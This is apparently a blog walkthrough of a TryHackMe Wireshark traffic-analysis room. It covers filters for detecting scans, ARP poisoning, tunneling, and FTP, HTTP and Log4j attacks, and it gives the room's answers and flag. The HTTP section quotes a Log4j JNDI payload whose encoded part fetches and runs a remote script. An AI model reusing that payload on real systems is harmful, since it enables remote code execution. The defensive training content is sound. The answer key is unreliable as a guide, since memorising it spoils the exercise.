Jasper Alblas
Jasper Alblas
Welcome to this walkthrough of the Wireshark: Traffic Analysis Room on TryHackMe. Now that the know the basics of Wireshark, and learned how to apply filters and statistics, we will cover the fundamentals of traffic analysis in Wireshark in this room.
https://tryhackme.com/room/wiresharktrafficanalysis
Be sure to checkout the walkthrough on the previous Wireshark rooms: TryHackMe: Wireshark: The Basics (SOC Level 1) and TryHackMe: Wireshark: Packet Operations (SOC Level 1).
I am making these walkthroughs to keep myself motivated to learn cyber security, and ensure that I remember the knowledge gained by these challenges on HTB and THM. Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.
Now, let’s move on! This is going to be a long one!
In this room, we will cover the techniques and key points of traffic analysis with Wireshark and detect suspicious activities. Note that this is the third and last room of the Wireshark room trio, and it is suggested to visit the first two rooms stated below to practice and refresh your Wireshark skills before starting this one.
In the first two rooms, we have covered how to use Wireshark and do packet-level searches. Now, it is time to investigate and correlate the packet-level information to see the big picture in the network traffic, like detecting anomalies and malicious activities. For a security analyst, it is vital to stop and understand pieces of information spread in packets by applying the analyst’s knowledge and tool functionality. This room will cover investigating packet-level details by synthesising the analyst knowledge and Wireshark functionality for detecting anomalies and odd situations for a given case.
Answer: No answer needed
Nmap is a widely used tool for network mapping and scanning, essential for security analysts. There are different types of Nmap scans, and understanding their patterns helps in detecting suspicious activities on the network. Below is a summary of the common Nmap scan types and how to identify them using Wireshark filters:
-sT
):tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
.-sS
):tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024
.-sU
):icmp.type==3 and icmp.code==3
.tcp.flags.syn == 1
tcp.flags.ack == 1
tcp.flags.reset == 1
tcp.flags.fin == 1
tcp.flags == 18
or (tcp.flags.syn == 1) and (tcp.flags.ack == 1)
tcp.flags == 20
or (tcp.flags.reset == 1) and (tcp.flags.ack == 1)
Make sure you have read the theory. To find out the total number of TCP Connect scans you can use the following filter:
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024
This display filter looks at packets with the SYN flag set, and with a window size larger than 1024 kb.
The number is 1000. It is important to note that not all of these packets have to come from NMap scans. All regular TCP connections being started can also be included here, as these window sizes are not uncommon on those either.
Answer: 1000
To find out this answer I added the tcp.port = 80 part to the previous filter.
tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size > 1024 and tcp.port == 80
This leaves only one packet left.
Now, we need to figure out if this packet also has the SYN/ACK and ACK packets to complete the 3-way handshake. In the case of the SYN scan, we would not see the final ACK flag, but rather a RST. We can investigate this by looking at the conversation.
Right click on the packet, choose Conversation Filter -> TCP.
As you can see, we see the whole TCP conversation ,including the 3-way handshake. We are thus look at a TCP Connect scan.
Answer: TCP Connect
The theory covers the necessary UDP Display filter to find the answer:
icmp.type==3 and icmp.code==3
The filter looks at ICMP error packets with the right type. The answer is 1083.
Answer: 1083
UDP scans receive a error message when the UDP port is closed, but unfortunately there is no response for ports that are open. This is why seeing this in the traffic is a bit more difficult.
Luckily we can still use UDP display filter, such as:
udp.port in {55 .. 70}
This returns UDP traffic only to and from the ports in the range 55-70.
Luckily there is only traffic found to port 66,67 and 68, and look at that! ICMP traffic is listed as well, even though ICMP is not run over UDP. Why then do we see it then? This is because Wireshark is intellligenct enough to see that these ICMP packets include part of the UDP headers in case of a failure.
Since we see these on ports 67 and 69, the only prot that had a succesful connections is port 68.
Answer: 68
1. ARP Protocol Overview
2. ARP Poisoning (MITM Attack)
3. ARP Packet Analysis
4. Wireshark Filters for Detection
arp.opcode == 1
(ARP requests)arp.opcode == 2
(ARP responses)arp.duplicate-address-detected
or arp.duplicate-address-frame -> Possible ARP poisoning detection((arp) && (arp.opcode == 1)) && (arp.src.hw_mac == target-mac-address)
According to the theory, the way we can filter out ARP requests is by using the following display filter:
arp.opcode == 1
You will see that the majority of ARP requests are coming from 192.168.1.25 so this seems to be the attacker IP, but not all of the requests are from this IP so we need to add another filter to filter the packets on IP address.
We can do this by selecting apply as filter after right clicking the Sender IP address in the packet details (underneath ARP).
This shows 284 packets. The filter you can apply is:
arp.src.proto_ipv4 == 192.168.1.25 and arp.opcode == 1
Answer: 284
This question gave me some headache, as I needed to change my focus on the attacker MAC instead of its IP. Why is that? Well it’s all because of the type of attack we are looking at.
In an ARP poisoning/spoofing attack, it is important to filter Wireshark traffic based on MAC addresses rather than IP addresses because ARP attacks manipulate MAC-to-IP associations, causing devices to send traffic to the attacker’s MAC instead of the intended destination.
The MAC address was actually on the previous screen, but hidden behind the menu:
Here we can see that the MAC address is 00:0c:29:e2:18:b4, which we can now use to filter on all HTTP packets:
eth.addr == 00:0c:29:e2:18:b4 and http
We can see 90 packets:
Answer: 90
Have a look at the previous packets, and you will see some HTTP packets coming from userinfo.php, probably some kind of form.
We can filter on these packets by entering:
eth.addr == 00:0c:29:e2:18:b4 and http and urlencoded-form
Technically, urlencoded-forms would be enough since all urlencoded-form packets come from this MAC address.
Not all packets include passwords though, but if you count the ones that look like this:
You will end up with 6.
Answer: 6
One of the packets we found includes the info for Client986:
Answer: clientnothere!
The bottom packet comes from comment.php, and indeed, this is a comment by Client354:
Nice work indeed!
Answer: Nice work!
When investigating a compromise or malware activity, security analysts must identify hosts and users beyond just IP-to-MAC address matching. Understanding predefined naming patterns in enterprise networks helps but can also be exploited by adversaries.
dhcp.option.hostname contains "keyword"
(Hostname)dhcp.option.dhcp == 3
(Request), == 5
(ACK), == 6
(NAK)nbns.name contains "keyword"
kerberos.CNameString contains "keyword"
(Username)kerberos.CNameString and !(kerberos.CNameString contains "$")
(Exclude hostnames)kerberos.realm contains ".org"
(Domain filtering)To answer this question we need to filter on the DHCP hostname field to try and see if we can find a hostname containing A30.
dhcp.option.hostname contains "A30"
We will find result, with the hostname Anthony-s-Galaxy-A30s.
The MAC address is highlighted.
Answer: 9a:81:41:cb:96:6c
I started by filtering on the nbs.name property:
nbns.name contains "LIVALJM"
This shows a lot of packets, and if you look at the different flags, you can see there are different type of packets (reistration, broadcast, etc.). I then proceeded by filtering on the registration flag, by rightclicking the highlighted row above. This causes the following filter to apply:
nbns.name contains "LIVALJM" and nbns.flags.opcode == 5
Now there are 16 packets left.
Answer: 16
It took me a while to figure this one out, but basically you have to take a look around at the different packet option values that you can find on a packet under the Dynamic Host Configuration Protocol information part of the Application Layer.
You will then find Option 50, which is the Requested IP address.
Then you can apply this info as filter (by right-clicking and press Apply as Filter) and you will get a display filter similar to:
dhcp.option.requested_ip_address == 172.16.13.85
In the above screenshot you can see the
Answer: Galaxy-A12
This one is covered pretty well in the theory. We will need to use the following filter:
kerberos.CNameString contains "u5"
We see 9 packets, and these have different message types (AS-REQ, AS-REP, TGS-REP). To answer this question it is best to look at the AS-REQ. This stands for Authentication Service Request, and it is sent from the client (user) to the Key Distribution Center (KDC). Therefore we can look at the source IP.
The IP is highlighted, and you can defang it here:
https://gchq.github.io/CyberChef/#recipe=Defang_IP_Addresses()&input=MTAuMS4xMi4yCg
Answer: 10[.]1[.]12[.]2
This one is a bit confusing, but here is how I figured it out. Look at all the Kerberos packets by simply enter kerberos in the display filter.
Now have a look at the packet information. Earlier we used the CNameString. Find the field and right click and apply it as column (so it becomes visible as column). What that column visible simply look for a CNameString ending with a $, which indicates a hostname instead of username. There should only be one: xp1$.
Answer: xp1$
Tunneling transfers data securely across networks, often encapsulating it within trusted protocols. While enterprises use it for security and anonymity, attackers exploit it to bypass security measures. Detecting ICMP and DNS tunneling is crucial for security analysts.
icmp
(global search)data.len > 64 and icmp
(identifies oversized ICMP packets)encoded-commands.maliciousdomain.com
)dns
(global search)dns contains "dnscat"
(detects known tunneling tools)dns.qry.name.len > 15 and !mdns
(identifies unusually long queries)Security analysts must understand normal vs. abnormal traffic patterns to detect tunneling. Using Wireshark filters and statistical analysis can help identify anomalies. The document ends with an invitation to practice with an exercise file.
To get started, let’s use the display filter discussed in the theory:
data.len > 64 and icmp
This filters on ICMP traffic with a larger than normal packet size.
But take a look at the hexadecimal representation of the packet! It includes a SSH banner exchange!
The payload includes supported key exchange methods (diffie-hellman-group-exchange-sha256
, etc.) and supported encryption algorithms like aes128-ctr
, aes256-ctr
, 3des-cbc
, blowfish-cbc
, etc.
Surely, this must be SSH traffic!
Answer: SSH
Here we can use the following filter:
dns contains "dnscat"
This filter works to detect DNS filtering because it searches for the string “dnscat” within DNS traffic packets. This is useful for identifying potential DNS tunneling activity, specifically related to DNSCat2, a tool used for covert communication over DNS.
This actually did not lead to any packets with a clear domain name visible. I proceeded with the other filter discussed in the theory:
dns.qry.name.len > 15 and !mdns
But this gave me more than 30.00 packets. We can increase the query name length though to reduce this number. I had to go all the way over 55 to make it more managable:
dns.qry.name.len > 55 and !mdns
Here we finally find something interesting, an encoded subdomain!
dataexfil[.]com
FTP (File Transfer Protocol) is used for file transfers but lacks strong security, leading to potential issues like:
ftp
211: System status
, 212: Directory status
, 213: File status
ftp.response.code == 211
220: Service ready
, 227: Entering passive mode
, 228: Long passive mode
ftp.response.code == 227
230: User login
, 231: User logout
, 331: Valid username
, 530: Invalid password
ftp.response.code == 230
USER
: UsernamePASS
: PasswordCWD
: Current working directoryLIST
: Listftp.response.code == 530
(ftp.response.code == 530) and (ftp.response.arg contains "username")
(ftp.request.command == "PASS") and (ftp.request.arg == "password")
Alright, let’s go!
We will need to use the 530 response code here, which means: No login, invalid password.
ftp.response.code == 530
The total number is 737.
Answer: 737
We have to use another status code here, this time 213. This code means file status.
ftp.response.code == 213
Applying this filter returns two packets:
I had a bit of a trouble finding the answer here since the file name is a numeric value, 39424. But the return value of the file status command is 39424.
Answer: 39424
I manually looked through the FTP traffic, since I had trouble identifying the correct command to filter on. Originally I tried filtering on FILE, but later I found out that we have to use STOR.
Anyway, nearly in the bottom of the FTP packets you can find the following suspicious traffic:
There is some file being downloaded and later another uploaded? You can find the upload command by using the following filter:
ftp.request.command == "STOR"
You can then see the whole TCP conversation by right-clicking the packet and pressing Conversation Filter -> TCP.
(ip.addr eq 192.168.1.182 and ip.addr eq 192.168.1.231) and (tcp.port eq 62014 and tcp.port eq 21)
Or maybe even better, follow the TCP stream by right-clicking a packet and pressing Follow -> TCP stream:
Anyway, while the user uploads a file called README (STOR command), he downloaded a file called resume.doc before. THM expects this answer, and this is likely since the user renamed the file before uploading it again.
Answer: resume.doc
Look at the TCP stream, and scroll a bit down:
We can see a CHMOD command here, used to change the executing permission on the uploaded file.
Answer: 777
This task is a bit easier to comprehend, at least for me, since most of us have more natural experience with HTTP traffic (e.g. when we browse). Let’s summarize the theory:
HTTP is a cleartext, request-response, client-server protocol used for web traffic. Due to its unencrypted nature, it is crucial for network traffic analysis. Common threats detected via HTTP analysis include phishing, web attacks, data exfiltration, and command-and-control (C2) traffic.
GET
and POST
requests are commonly analyzed for anomalies.http.request.method == "GET"
http.request.method == "POST"
403 Forbidden
, 404 Not Found
, 503 Service Unavailable
.http.response.code == 200
(OK)http.response.code == 403
(Forbidden)http.response.code == 503
(Service Unavailable)http.user_agent contains "nmap"
http.request.uri contains "admin"
http.server contains "apache"
http.host contains "keyword"
"Mozlila"
instead of "Mozilla"
).Nmap
, Nikto
, sqlmap
).(http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap")
Log4j exploits start with POST
requests and contain specific cleartext patterns (jndi:ldap
, Exploit.class
).
Wireshark filters:
http.request.method == "POST"
(frame contains "jndi") or (frame contains "Exploit")
(http.user_agent contains "$") or (http.user_agent contains "==")
To filter on all packets with a user-agent field set we use the following filter:
http.user_agent
This leaves 53 packets:
We can select the User-Agent field in the packet details and select it as column. This shows a bunch of different user-agents, including sqlmap and Wfuzz. Now if the question asked the total different number of packets we could have used a filter like so:
(http.user_agent contains "sqlmap") or (http.user_agent contains "Nmap") or (http.user_agent contains "Wfuzz") or (http.user_agent contains "Nikto")
But it asks us to find the number of different TYPES. So we need manually look through the 54 packets found earlier. I found the following:
The total number is 6!
Answer: 6
This one is easy, as we found it previously. The packet is 52, with a misspelled Mozlila!
Answer: 52
The theory mentioned that the Log4j attack starts with a post request. We can therefore start by using the following display filter:
http.request.method == "POST"
This returns a lot of packets, but luckily we can see the attack phase start on the second visible packet:
The packet number is 444.
Answer: 444
The base64 command is found in the user-agent field:
${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==}
The base64 part is:
d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7Y2htb2QgK3ggbGguc2g7Li9saC5zaA==
We can decode this base64 string here:
Defang the IP address at CyberChef:
https://gchq.github.io/CyberChef/#recipe=Defang_IP_Addresses()&input=NjIuMjEwLjEzMC4yNTA
Answer: 62[.]210[.]130[.]250
HTTPS uses the TLS protocol to encrypt traffic, providing protection against attacks like spoofing, sniffing, and interception. While it enhances security, attackers also use HTTPS to hide malicious activities. To investigate HTTPS traffic, security analysts need to decrypt it using key files (encryption/decryption key pairs).
tls.handshake.type == 1
(Client Hello)tls.handshake.type == 2
(Server Hello)SSLKEYLOGFILE
environment variable to save these key pairs.http.request
(list requests)tls
(global TLS search)ssdp
(Local Simple Service Discovery Protocol for network service advertisement)SSLKEYLOGFILE
environment variable.To filter on all packets containing a “Client Hello” message we use the following display filter:
tls.handshake.type == 1
This returns 20 packets:
Now how about the domain name? We can dig this up by looking in the packet details under TLS -> Handshake Protocol -> Extension: server_name.
I chose to apply this field as column, to find the answer more easily. The relevant frame is number 16.
Answer: 16
Ok. There are two steps to this. First decrypt the traffic by adding the key log file via “Edit → Preferences → Protocols → TLS” and input it into the Master-Secret log filename field. This menu is also accessible by right-clicking the TLS section in the packet details.
Afterwards filter on HTTP2:
http2
This returns 115 packets:
Answer: 115
This one is simple. Find frame 322 and underneath HTTP2 in the packet details you will find the authority header field.
Answer: safebrowsing[.]googleapis[.]com
Since there are only 100 or so packets, I looked around manually. I came across frame #1576 which includes a HTTP GET call to a flag.txt file.
But this is not the way to export it. We need to go to File > Export Objects > HTTP:
Choose the first file and press Save:
And open it:
We found the flag!
Answer: FLAG{THM-PACKETMASTER}
Wireshark helps analysts inspect network packets for anomalies, including detecting cleartext credentials. While it is not an IDS, it provides expert info to highlight suspicious activity. However, differentiating between legitimate and malicious traffic (e.g., mistyped credentials vs. brute-force attempts) can be challenging.
This tool helps reduce detection time for cleartext credentials, improving security investigations.
As discussed in the theory, open up Tools -> Credentials. You will see a list of packets containing credentials. The bottom one uses HTTP basic authentication, and its packet number is 237.
Answer: 237
Go through each of the packets in the credentials list. Clicking on the packet number opens up the packet details. Each packet has a entered password until we reach packet 170:
Answer: 170
After detecting anomalies and taking investigative notes, the next step is to take action. As a security analyst, you may need to identify threats and implement firewall rules to mitigate risks.
Wireshark provides a feature to generate firewall rules directly from packet analysis:
This feature simplifies rule creation, allowing analysts to quickly implement security measures based on observed threats.
Alright, last two questions. Let’s finish strong!
First select packet number 99. Then open up Tools → Firewall ACL Rules. Select ipfw in the Create rules for option field.
Look under “denying source IPv4 address” and you will find the rule:
Answer: add deny ip from 10.121.70.151 to any in
Ok, you know the drill! Make sure to close the Firewall ACL Rules window. Select packet 231, and afterwards select IPFirewall from the option dropdown. Finally, make sure to select Inbound only.
See the rule in the screenshot.
Answer: add allow MAC 00:d0:59:aa:af:80 any in
Congratulations! You just finished the “Wireshark: The Traffic Analysis” room.
In this room, we covered how to use the Wireshark to detect anomalies and investigate events of interest at the packet level. Now, we invite you to complete the Wireshark challenge room: Carnage, Warzone 1 and Warzone 2.
Wireshark is a good tool for starting a network security investigation. However, it is not enough to stop the threats. A security analyst should have IDS/IPS knowledge and extended tool skills to detect and prevent anomalies and threats. As the attacks are getting more sophisticated consistently, the use of multiple tools and detection strategies becomes a requirement. The following rooms will help you step forward in network traffic analysis and anomaly/threat detection.
Snort Challenge – Live Attacks
Answer: No answer needed.
Congratulations on completing Wireshark Traffic Analysis. I found this to be a really great practice room for getting some experience with Wireshark. I don’t know about you, but I learned a lot!
Come back soon for more walkthroughs of rooms on TryHackMe and HackTheBox, and other Cybersecurity discussions.
You are welcome to comment on this post, or share my post with friends.I would be even more grateful if you support me by buying me a cup of coffee:
I learned a lot through HackTheBox’s Academy. If you want to sign up, you can get extra cubes, and support me in the process, if you use the following link:
[…] TryHackMe: Wireshark: Traffic Analysis […]